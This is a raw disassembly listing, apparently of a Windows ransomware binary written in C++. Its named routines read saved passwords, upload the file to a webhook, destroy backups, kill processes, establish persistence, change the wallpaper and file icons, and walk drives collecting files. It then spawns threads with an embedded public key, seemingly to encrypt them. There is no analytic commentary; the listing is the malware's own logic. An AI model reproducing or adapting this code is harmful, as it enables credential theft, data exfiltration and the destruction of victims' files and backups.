14000aeddcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000aee2lea rax, [rbp+2095]
14000aee9mov rcx, rax
14000aeeccall std::__new_allocator<char>::~__new_allocator()
14000aef1nop
14000aef2lea rax, [rbp+2000]
14000aef9mov rcx, rax
14000aefccall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000af01lea rax, [rbp+2047]
14000af08mov rcx, rax
14000af0bcall std::__new_allocator<char>::~__new_allocator()
14000af10jmp 0x14000afc9
14000af15
14000af15loc_14000af15:
14000af15lea rax, [rbp+2143]
14000af1cmov [rbp+3904], rax
14000af23nop
14000af24nop
14000af25lea rcx, [rbp+2143]
14000af2clea rdx, [rip+0xfc99b]
14000af33lea rax, [rbp+2096]
14000af3amov r8, rcx
14000af3dmov rcx, rax
14000af40call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000af45lea rax, [rbp+2190]
14000af4cmov [rbp+3896], rax
14000af53nop
14000af54nop
14000af55lea rcx, [rbp+2190]
14000af5clea rdx, [rip+0xfd95d]
14000af63lea rax, [rbp+2144]
14000af6amov r8, rcx
14000af6dmov rcx, rax
14000af70call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000af75lea rdx, [rbp+2096]
14000af7clea rax, [rbp+2144]
14000af83mov rcx, rax
14000af86call log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
14000af8blea rax, [rbp+2144]
14000af92mov rcx, rax
14000af95call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000af9alea rax, [rbp+2190]
14000afa1mov rcx, rax
14000afa4call std::__new_allocator<char>::~__new_allocator()
14000afa9nop
14000afaalea rax, [rbp+2096]
14000afb1mov rcx, rax
14000afb4call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000afb9lea rax, [rbp+2143]
14000afc0mov rcx, rax
14000afc3call std::__new_allocator<char>::~__new_allocator()
14000afc8nop
14000afc9
14000afc9loc_14000afc9:
14000afc9lea rax, [rbp+784]
14000afd0mov rcx, rax
14000afd3call get_saved_passwords[abi:cxx11]()
14000afd8lea rax, [rbp+2191]
14000afdfmov [rbp+3888], rax
14000afe6nop
14000afe7nop
14000afe8lea rcx, [rbp+2191]
14000afeflea rdx, [rip+0xfd8f5]
14000aff6lea rax, [rbp+752]
14000affdmov r8, rcx
14000b000mov rcx, rax
14000b003call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000b008lea rax, [rbp+2191]
14000b00fmov rcx, rax
14000b012call std::__new_allocator<char>::~__new_allocator()
14000b017nop
14000b018lea rdx, [rbp+752]
14000b01flea rax, [rbp+288]
14000b026mov r8l, 16
14000b02cmov rcx, rax
14000b02fcall std::basic_ofstream<char, std::char_traits<char>>::basic_ofstream(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::_Ios_Openmode)
14000b034lea rax, [rbp+288]
14000b03bmov rcx, rax
14000b03ecall std::basic_ofstream<char, std::char_traits<char>>::is_open()
14000b043test al, al
14000b045je 0x14000b06c
14000b047lea rdx, [rbp+784]
14000b04elea rax, [rbp+288]
14000b055mov rcx, rax
14000b058call _ZStlsIcSt11char_traitsIcESaIcEERSt13basic_ostreamIT_T0_ES7_RKNSt7__cxx1112basic_stringIS4_S5_T1_EE
14000b05dlea rax, [rbp+288]
14000b064mov rcx, rax
14000b067call std::basic_ofstream<char, std::char_traits<char>>::close()
14000b06c
14000b06cloc_14000b06c:
14000b06clea rdx, [rbp+752]
14000b073lea rax, [rbp+2192]
14000b07amov r8l, 2
14000b080mov rcx, rax
14000b083call std::filesystem::__cxx11::path::path<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>, std::filesystem::__cxx11::path>(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::filesystem::__cxx11::path::format)
14000b088lea rax, [rbp+2192]
14000b08fmov rcx, rax
14000b092call std::filesystem::exists(std::filesystem::__cxx11::path const&)
14000b097mov ebx, eax
14000b099lea rax, [rbp+2192]
14000b0a0mov rcx, rax
14000b0a3call std::filesystem::__cxx11::path::~path()
14000b0a8test bl, bl
14000b0aaje 0x14000b17c
14000b0b0lea rax, [rbp+2287]
14000b0b7mov [rbp+3880], rax
14000b0benop
14000b0bfnop
14000b0c0lea rcx, [rbp+2287]
14000b0c7lea rdx, [rip+0xfd83b]
14000b0celea rax, [rbp+2240]
14000b0d5mov r8, rcx
14000b0d8mov rcx, rax
14000b0dbcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000b0e0lea rax, [rbp+2335]
14000b0e7mov [rbp+3872], rax
14000b0eenop
14000b0efnop
14000b0f0lea rcx, [rbp+2335]
14000b0f7lea rdx, [rip+0xfd81a]
14000b0felea rax, [rbp+2288]
14000b105mov r8, rcx
14000b108mov rcx, rax
14000b10bcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000b110lea r8, [rbp+2240]
14000b117lea rdx, [rbp+2288]
14000b11elea rax, [rbp+752]
14000b125lea rcx, [rip+0x1bcf74]
14000b12cmov r9, r8
14000b12fmov r8, rdx
14000b132mov rdx, rax
14000b135call upload_file_to_webhook(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
14000b13alea rax, [rbp+2288]
14000b141mov rcx, rax
14000b144call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000b149lea rax, [rbp+2335]
14000b150mov rcx, rax
14000b153call std::__new_allocator<char>::~__new_allocator()
14000b158nop
14000b159lea rax, [rbp+2240]
14000b160mov rcx, rax
14000b163call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000b168lea rax, [rbp+2287]
14000b16fmov rcx, rax
14000b172call std::__new_allocator<char>::~__new_allocator()
14000b177jmp 0x14000b230
14000b17c
14000b17cloc_14000b17c:
14000b17clea rax, [rbp+2383]
14000b183mov [rbp+3864], rax
14000b18anop
14000b18bnop
14000b18clea rcx, [rbp+2383]
14000b193lea rdx, [rip+0xfc734]
14000b19alea rax, [rbp+2336]
14000b1a1mov r8, rcx
14000b1a4mov rcx, rax
14000b1a7call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000b1aclea rax, [rbp+2431]
14000b1b3mov [rbp+3856], rax
14000b1banop
14000b1bbnop
14000b1bclea rcx, [rbp+2431]
14000b1c3lea rdx, [rip+0xfd75e]
14000b1calea rax, [rbp+2384]
14000b1d1mov r8, rcx
14000b1d4mov rcx, rax
14000b1d7call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000b1dclea rdx, [rbp+2336]
14000b1e3lea rax, [rbp+2384]
14000b1eamov rcx, rax
14000b1edcall log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
14000b1f2lea rax, [rbp+2384]
14000b1f9mov rcx, rax
14000b1fccall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000b201lea rax, [rbp+2431]
14000b208mov rcx, rax
14000b20bcall std::__new_allocator<char>::~__new_allocator()
14000b210nop
14000b211lea rax, [rbp+2336]
14000b218mov rcx, rax
14000b21bcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000b220lea rax, [rbp+2383]
14000b227mov rcx, rax
14000b22acall std::__new_allocator<char>::~__new_allocator()
14000b22fnop
14000b230
14000b230loc_14000b230:
14000b230lea rax, [rbp+2432]
14000b237lea rdx, [rip+0x1bce82]
14000b23emov rcx, rax
14000b241call base64_decode(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
14000b246lea rax, [rbp+2432]
14000b24dmov rcx, rax
14000b250call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::empty() const
14000b255xor eax, 1
14000b258mov ebx, eax
14000b25alea rax, [rbp+2432]
14000b261mov rcx, rax
14000b264call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000b269test bl, bl
14000b26bje 0x14000b283
14000b26dlea rax, [rbp+848]
14000b274lea rcx, [rip+0x1bce45]
14000b27bmov rdx, rax
14000b27ecall send_webhook(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
14000b283
14000b283loc_14000b283:
14000b283lea rax, [rbp+2511]
14000b28amov [rbp+3848], rax
14000b291nop
14000b292nop
14000b293lea rcx, [rbp+2511]
14000b29alea rdx, [rip+0xfbf48]
14000b2a1lea rax, [rbp+2464]
14000b2a8mov r8, rcx
14000b2abmov rcx, rax
14000b2aecall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000b2b3lea rax, [rbp+2559]
14000b2bamov [rbp+3840], rax
14000b2c1nop
14000b2c2nop
14000b2c3lea rcx, [rbp+2559]
14000b2calea rdx, [rip+0xfd68f]
14000b2d1lea rax, [rbp+2512]
14000b2d8mov r8, rcx
14000b2dbmov rcx, rax
14000b2decall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000b2e3lea rdx, [rbp+2464]
14000b2ealea rax, [rbp+2512]
14000b2f1mov rcx, rax
14000b2f4call log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
14000b2f9lea rax, [rbp+2512]
14000b300mov rcx, rax
14000b303call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000b308lea rax, [rbp+2559]
14000b30fmov rcx, rax
14000b312call std::__new_allocator<char>::~__new_allocator()
14000b317nop
14000b318lea rax, [rbp+2464]
14000b31fmov rcx, rax
14000b322call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000b327lea rax, [rbp+2511]
14000b32emov rcx, rax
14000b331call std::__new_allocator<char>::~__new_allocator()
14000b336nop
14000b337call destroy_backups()
14000b33ccall kill_processes()
14000b341call establish_persistence()
14000b346lea rax, [rip+0x1bcdb3]
14000b34dmov rcx, rax
14000b350call set_wallpaper(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
14000b355lea rax, [rip+0x1bcdc4]
14000b35cmov rcx, rax
14000b35fcall change_file_icons(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
14000b364lea rax, [rbp+2560]
14000b36blea rdx, [rip+0x1bcd0e]
14000b372mov rcx, rax
14000b375call base64_decode(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
14000b37alea rax, [rbp+2560]
14000b381mov rcx, rax
14000b384call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::c_str() const
14000b389mov edx, -1
14000b38emov rcx, rax
14000b391call BIO_new_mem_buf
14000b396mov [rbp+4008], rax
14000b39dlea rax, [rbp+2560]
14000b3a4mov rcx, rax
14000b3a7call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000b3acmov rax, [rbp+4008]
14000b3b3mov r9l, 0
14000b3b9mov r8l, 0
14000b3bfmov edx, 0
14000b3c4mov rcx, rax
14000b3c7call PEM_read_bio_PUBKEY
14000b3ccmov [rbp+280], rax
14000b3d3mov rax, [rbp+4008]
14000b3damov rcx, rax
14000b3ddcall BIO_free
14000b3e2mov rax, [rbp+280]
14000b3e9test rax, rax
14000b3ecje 0x14000b9c5
14000b3f2lea rax, [rbp+2639]
14000b3f9mov [rbp+3832], rax
14000b400nop
14000b401nop
14000b402lea rcx, [rbp+2639]
14000b409lea rdx, [rip+0xfbdd9]
14000b410lea rax, [rbp+2592]
14000b417mov r8, rcx
14000b41amov rcx, rax
14000b41dcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000b422lea rax, [rbp+2687]
14000b429mov [rbp+3824], rax
14000b430nop
14000b431nop
14000b432lea rcx, [rbp+2687]
14000b439lea rdx, [rip+0xfd570]
14000b440lea rax, [rbp+2640]
14000b447mov r8, rcx
14000b44amov rcx, rax
14000b44dcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000b452lea rdx, [rbp+2592]
14000b459lea rax, [rbp+2640]
14000b460mov rcx, rax
14000b463call log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
14000b468lea rax, [rbp+2640]
14000b46fmov rcx, rax
14000b472call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000b477lea rax, [rbp+2687]
14000b47emov rcx, rax
14000b481call std::__new_allocator<char>::~__new_allocator()
14000b486nop
14000b487lea rax, [rbp+2592]
14000b48emov rcx, rax
14000b491call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000b496lea rax, [rbp+2639]
14000b49dmov rcx, rax
14000b4a0call std::__new_allocator<char>::~__new_allocator()
14000b4a5nop
14000b4a6lea rax, [rbp-80]
14000b4aamov [rsp+32], rax
14000b4afmov r9l, 0
14000b4b5mov r8l, 0
14000b4bbmov edx, 40
14000b4c0mov ecx, 0
14000b4c5mov rax, [rip+0x1bec7c]
14000b4cccall rax
14000b4cenot eax
14000b4d0shr eax, 31
14000b4d3test al, al
14000b4d5je 0x14000b5f2
14000b4dblea rax, [rbp+2735]
14000b4e2mov [rbp+3816], rax
14000b4e9nop
14000b4eanop
14000b4eblea rcx, [rbp+2735]
14000b4f2lea rdx, [rip+0xfbcf0]
14000b4f9lea rax, [rbp+2688]
14000b500mov r8, rcx
14000b503mov rcx, rax
14000b506call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000b50blea rax, [rbp+2815]
14000b512mov [rbp+3808], rax
14000b519nop
14000b51anop
14000b51blea rcx, [rbp+2815]
14000b522lea rdx, [rbp-80]
14000b526lea rax, [rbp+2768]
14000b52dmov r8, rcx
14000b530mov rcx, rax
14000b533call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000b538lea rax, [rbp+2736]
14000b53flea rcx, [rbp+2768]
14000b546lea rdx, [rip+0xfd493]
14000b54dmov r8, rcx
14000b550mov rcx, rax
14000b553call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEPKS5_OS8_
14000b558lea rdx, [rbp+2688]
14000b55flea rax, [rbp+2736]
14000b566mov rcx, rax
14000b569call log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
14000b56elea rax, [rbp+2736]
14000b575mov rcx, rax
14000b578call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000b57dlea rax, [rbp+2768]
14000b584mov rcx, rax
14000b587call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000b58clea rax, [rbp+2815]
14000b593mov rcx, rax
14000b596call std::__new_allocator<char>::~__new_allocator()
14000b59bnop
14000b59clea rax, [rbp+2688]
14000b5a3mov rcx, rax
14000b5a6call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000b5ablea rax, [rbp+2735]
14000b5b2mov rcx, rax
14000b5b5call std::__new_allocator<char>::~__new_allocator()
14000b5banop
14000b5bblea rdx, [rbp-80]
14000b5bflea rax, [rbp+2816]
14000b5c6mov r8l, 2
14000b5ccmov rcx, rax
14000b5cfcall std::filesystem::__cxx11::path::path<char[260], std::filesystem::__cxx11::path>(char[260] const&, std::filesystem::__cxx11::path::format)
14000b5d4lea rax, [rbp+2816]
14000b5dbmov rcx, rax
14000b5decall traverse_and_collect(std::filesystem::__cxx11::path const&)
14000b5e3lea rax, [rbp+2816]
14000b5eamov rcx, rax
14000b5edcall std::filesystem::__cxx11::path::~path()
14000b5f2
14000b5f2loc_14000b5f2:
14000b5f2lea rax, [rbp+2911]
14000b5f9mov [rbp+3800], rax
14000b600nop
14000b601nop
14000b602lea rcx, [rbp+2911]
14000b609lea rdx, [rip+0xfbbd9]
14000b610lea rax, [rbp+2864]
14000b617mov r8, rcx
14000b61amov rcx, rax
14000b61dcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000b622lea rax, [rbp+2959]
14000b629mov [rbp+3792], rax
14000b630nop
14000b631nop
14000b632lea rcx, [rbp+2959]
14000b639lea rdx, [rip+0xfd3ba]
14000b640lea rax, [rbp+2912]
14000b647mov r8, rcx
14000b64amov rcx, rax
14000b64dcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000b652lea rdx, [rbp+2864]
14000b659lea rax, [rbp+2912]
14000b660mov rcx, rax
14000b663call log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
14000b668lea rax, [rbp+2912]
14000b66fmov rcx, rax
14000b672call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000b677lea rax, [rbp+2959]
14000b67emov rcx, rax
14000b681call std::__new_allocator<char>::~__new_allocator()
14000b686nop
14000b687lea rax, [rbp+2864]
14000b68emov rcx, rax
14000b691call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000b696lea rax, [rbp+2911]
14000b69dmov rcx, rax
14000b6a0call std::__new_allocator<char>::~__new_allocator()
14000b6a5nop
14000b6a6lea rdx, [rip+0xfd363]
14000b6adlea rax, [rbp+2960]
14000b6b4mov r8l, 2
14000b6bamov rcx, rax
14000b6bdcall std::filesystem::__cxx11::path::path<char[4], std::filesystem::__cxx11::path>(char[4] const&, std::filesystem::__cxx11::path::format)
14000b6c2lea rax, [rbp+2960]
14000b6c9mov rcx, rax
14000b6cccall traverse_and_collect(std::filesystem::__cxx11::path const&)
14000b6d1lea rax, [rbp+2960]
14000b6d8mov rcx, rax
14000b6dbcall std::filesystem::__cxx11::path::~path()
14000b6e0call std::thread::hardware_concurrency()
14000b6e5mov [rbp+4028], eax
14000b6ebcmp [rbp+4028], 0
14000b6f2jne 0x14000b6fe
14000b6f4mov [rbp+4028], 4
14000b6fe
14000b6feloc_14000b6fe:
14000b6felea rax, [rbp+3055]
14000b705mov [rbp+3784], rax
14000b70cnop
14000b70dnop
14000b70elea rcx, [rbp+3055]
14000b715lea rdx, [rip+0xfbacd]
14000b71clea rax, [rbp+3008]
14000b723mov r8, rcx
14000b726mov rcx, rax
14000b729call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000b72elea rax, [rbp+3120]
14000b735mov edx, [rbp+4028]
14000b73bmov rcx, rax
14000b73ecall std::__cxx11::to_string(unsigned int)
14000b743lea rax, [rbp+3088]
14000b74alea rcx, [rbp+3120]
14000b751lea rdx, [rip+0xfd2bc]
14000b758mov r8, rcx
14000b75bmov rcx, rax
14000b75ecall _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEPKS5_OS8_
14000b763lea rax, [rbp+3056]
14000b76alea rcx, [rip+0xfd2bd]
14000b771lea rdx, [rbp+3088]
14000b778mov r8, rcx
14000b77bmov rcx, rax
14000b77ecall _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_PKS5_
14000b783lea rdx, [rbp+3008]
14000b78alea rax, [rbp+3056]
14000b791mov rcx, rax
14000b794call log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
14000b799lea rax, [rbp+3056]
14000b7a0mov rcx, rax
14000b7a3call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000b7a8lea rax, [rbp+3088]
14000b7afmov rcx, rax
14000b7b2call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000b7b7lea rax, [rbp+3120]
14000b7bemov rcx, rax
14000b7c1call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000b7c6lea rax, [rbp+3008]
14000b7cdmov rcx, rax
14000b7d0call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000b7d5lea rax, [rbp+3055]
14000b7dcmov rcx, rax
14000b7dfcall std::__new_allocator<char>::~__new_allocator()
14000b7e4nop
14000b7e5lea rax, [rbp+208]
14000b7ecmov rcx, rax
14000b7efcall std::vector<std::thread, std::allocator<std::thread>>::vector()
14000b7f4mov [rbp+4024], 0
14000b7fejmp 0x14000b827
14000b800
14000b800loc_14000b800:
14000b800lea rcx, [rbp+280]
14000b807lea rdx, [rip-16233]
14000b80elea rax, [rbp+208]
14000b815mov r8, rcx
14000b818mov rcx, rax
14000b81bcall std::thread& std::vector<std::thread, std::allocator<std::thread>>::emplace_back<void(evp_pkey_st*)&, evp_pkey_st*&>(void(evp_pkey_st*)&, evp_pkey_st*&...)
14000b820add [rbp+4024], 1
14000b827
14000b827loc_14000b827:
14000b827mov eax, [rbp+4024]
14000b82dcmp eax, [rbp+4028]
14000b833jb 0x14000b800
14000b835lea rax, [rbp+208]
14000b83cmov [rbp+4000], rax
14000b843mov rax, [rbp+4000]
14000b84amov rcx, rax
14000b84dcall std::vector<std::thread, std::allocator<std::thread>>::begin()
14000b852mov [rbp+200], rax
14000b859mov rax, [rbp+4000]
14000b860mov rcx, rax
14000b863call std::vector<std::thread, std::allocator<std::thread>>::end()
14000b868mov [rbp+192], rax
14000b86fjmp 0x14000b8b4
14000b871
14000b871loc_14000b871:
14000b871mov rax, [rbp+200]
14000b878mov [rbp+3992], rax
14000b87fmov rax, [rbp+3992]
14000b886mov rcx, rax
14000b889call std::thread::joinable() const
14000b88etest al, al
14000b890je 0x14000b8a1
14000b892mov rax, [rbp+3992]
14000b899mov rcx, rax
14000b89ccall std::thread::join()
14000b8a1
14000b8a1loc_14000b8a1:
14000b8a1mov rax, [rbp+200]
14000b8a8add rax, 8
14000b8acmov [rbp+200], rax
14000b8b3nop
14000b8b4
14000b8b4loc_14000b8b4:
14000b8b4lea rax, [rbp+200]
14000b8bbmov [rbp+3776], rax
14000b8c2mov rax, [rbp+3776]
14000b8c9mov rdx, [rax]
14000b8cclea rax, [rbp+192]
14000b8d3mov [rbp+3768], rax
14000b8damov rax, [rbp+3768]
14000b8e1mov rax, [rax]
14000b8e4cmp rdx, rax
14000b8e7setne al
14000b8eatest al, al
14000b8ecjne 0x14000b871
14000b8eelea rax, [rbp+3199]
14000b8f5mov [rbp+3760], rax
14000b8fcnop
14000b8fdnop
14000b8felea rcx, [rbp+3199]
14000b905lea rdx, [rip+0xfb8dd]
14000b90clea rax, [rbp+3152]
14000b913mov r8, rcx
14000b916mov rcx, rax
14000b919call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000b91elea rax, [rbp+3247]
14000b925mov [rbp+3752], rax
14000b92cnop
14000b92dnop
14000b92elea rcx, [rbp+3247]
14000b935lea rdx, [rip+0xfd0fc]
14000b93clea rax, [rbp+3200]
14000b943mov r8, rcx
14000b946mov rcx, rax
14000b949call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000b94elea rdx, [rbp+3152]
14000b955lea rax, [rbp+3200]
14000b95cmov rcx, rax
14000b95fcall log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
14000b964lea rax, [rbp+3200]
14000b96bmov rcx, rax
14000b96ecall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000b973lea rax, [rbp+3247]
14000b97amov rcx, rax
14000b97dcall std::__new_allocator<char>::~__new_allocator()
14000b982nop
14000b983lea rax, [rbp+3152]
14000b98amov rcx, rax
14000b98dcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000b992lea rax, [rbp+3199]
14000b999mov rcx, rax
14000b99ccall std::__new_allocator<char>::~__new_allocator()
14000b9a1nop
14000b9a2mov rax, [rbp+280]
14000b9a9mov rcx, rax
14000b9accall EVP_PKEY_free
14000b9b1lea rax, [rbp+208]
14000b9b8mov rcx, rax
14000b9bbcall std::vector<std::thread, std::allocator<std::thread>>::~vector()
14000b9c0jmp 0x14000ba79
14000b9c5
14000b9c5loc_14000b9c5:
14000b9c5lea rax, [rbp+3295]
14000b9ccmov [rbp+3744], rax
14000b9d3nop
14000b9d4nop
14000b9d5lea rcx, [rbp+3295]
14000b9dclea rdx, [rip+0xfc262]
14000b9e3lea rax, [rbp+3248]
14000b9eamov r8, rcx
14000b9edmov rcx, rax
14000b9f0call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000b9f5lea rax, [rbp+3343]
14000b9fcmov [rbp+3736], rax
14000ba03nop
14000ba04nop
14000ba05lea rcx, [rbp+3343]
14000ba0clea rdx, [rip+0xfd04d]
14000ba13lea rax, [rbp+3296]
14000ba1amov r8, rcx
14000ba1dmov rcx, rax
14000ba20call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000ba25lea rdx, [rbp+3248]
14000ba2clea rax, [rbp+3296]
14000ba33mov rcx, rax
14000ba36call log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
14000ba3blea rax, [rbp+3296]
14000ba42mov rcx, rax
14000ba45call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000ba4alea rax, [rbp+3343]
14000ba51mov rcx, rax
14000ba54call std::__new_allocator<char>::~__new_allocator()
14000ba59nop
14000ba5alea rax, [rbp+3248]
14000ba61mov rcx, rax
14000ba64call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000ba69lea rax, [rbp+3295]
14000ba70mov rcx, rax
14000ba73call std::__new_allocator<char>::~__new_allocator()
14000ba78nop
14000ba79
14000ba79loc_14000ba79:
14000ba79lea rax, [rip+0x1bc5d0]
14000ba80mov rcx, rax
14000ba83call std::vector<std::filesystem::__cxx11::path, std::allocator<std::filesystem::__cxx11::path>>::size() const
14000ba88mov rdx, rax
14000ba8blea rax, [rbp+3376]
14000ba92mov rcx, rax
14000ba95call std::__cxx11::to_string(unsigned long long)
14000ba9alea rax, [rbp+3519]
14000baa1mov [rbp+3728], rax
14000baa8nop
14000baa9nop
14000baaalea rcx, [rbp+3519]
14000bab1lea rdx, [rbp+1120]
14000bab8lea rax, [rbp+3472]
14000babfmov r8, rcx
14000bac2mov rcx, rax
14000bac5call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000bacalea rax, [rbp+3552]
14000bad1lea rcx, [rbp+1072]
14000bad8lea rdx, [rip+0xfcfb9]
14000badfmov r8, rcx
14000bae2mov rcx, rax
14000bae5call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEPKS5_RKS8_
14000baealea rax, [rbp+3520]
14000baf1lea rcx, [rip+0xfcbb0]
14000baf8lea rdx, [rbp+3552]
14000baffmov r8, rcx
14000bb02mov rcx, rax
14000bb05call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_PKS5_
14000bb0alea rax, [rbp+3440]
14000bb11lea rcx, [rbp+3472]
14000bb18lea rdx, [rbp+3520]
14000bb1fmov r8, rcx
14000bb22mov rcx, rax
14000bb25call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_S9_
14000bb2alea rax, [rbp+3408]
14000bb31lea rcx, [rip+0xfd028]
14000bb38lea rdx, [rbp+3440]
14000bb3fmov r8, rcx
14000bb42mov rcx, rax
